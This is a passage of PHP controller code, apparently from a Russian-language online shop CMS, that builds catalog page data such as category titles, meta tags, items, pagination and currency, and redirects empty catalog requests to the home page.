($_REQUEST['category_id']) { $categoryDesc = MG::inlineEditor(PREFIX . 'category', "html_content", $_REQUEST['category_id'], $categoryDesc); } if ($isMainCat) { $data = array('titeCategory' => $model->currentCategory['title'], 'cat_desc' => $categoryDesc, 'meta_title' => !empty($model->currentCategory['meta_title']) ? $model->currentCategory['meta_title'] : $model->currentCategory['title'], 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "товары,продукты,изделия", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "В каталоге нашего магазина есть все.", 'is_main_cat' => $isMainCat, 'category_info' => $catList, 'currency' => MG::getSetting('currency'), 'id_category' => $model->getCurrentId(), 'searchData' => empty($searchData) ? '' : $searchData); } else { $data = array('items' => $items['catalogItems'], 'titeCategory' => $model->currentCategory['title'], 'cat_desc' => $categoryDesc, 'pager' => $items['pager'], 'searchData' => empty($searchData) ? '' : $searchData, 'meta_title' => !empty($model->currentCategory['meta_title']) ? $model->currentCategory['meta_title'] : $model->currentCategory['title'], 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "товары,продукты,изделия", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "В каталоге нашего магазина есть все.", 'currency' => $settings['currency'], 'actionButton' => MG::getSetting('actionInCatalog') === "true" ? 'actionBuy' : 'actionView', 'is_main_cat' => $isMainCat, 'id_category' => $model->getCurrentId()); } if ($keyword) { $data['meta_title'] = 'Поиск по фразе: ' . $keyword; } $this->data = $data; if ($aUri[1] == 'catalog' && empty($aUri[2]) && empty($_GET['search'])) { MG::redirect('/'); } }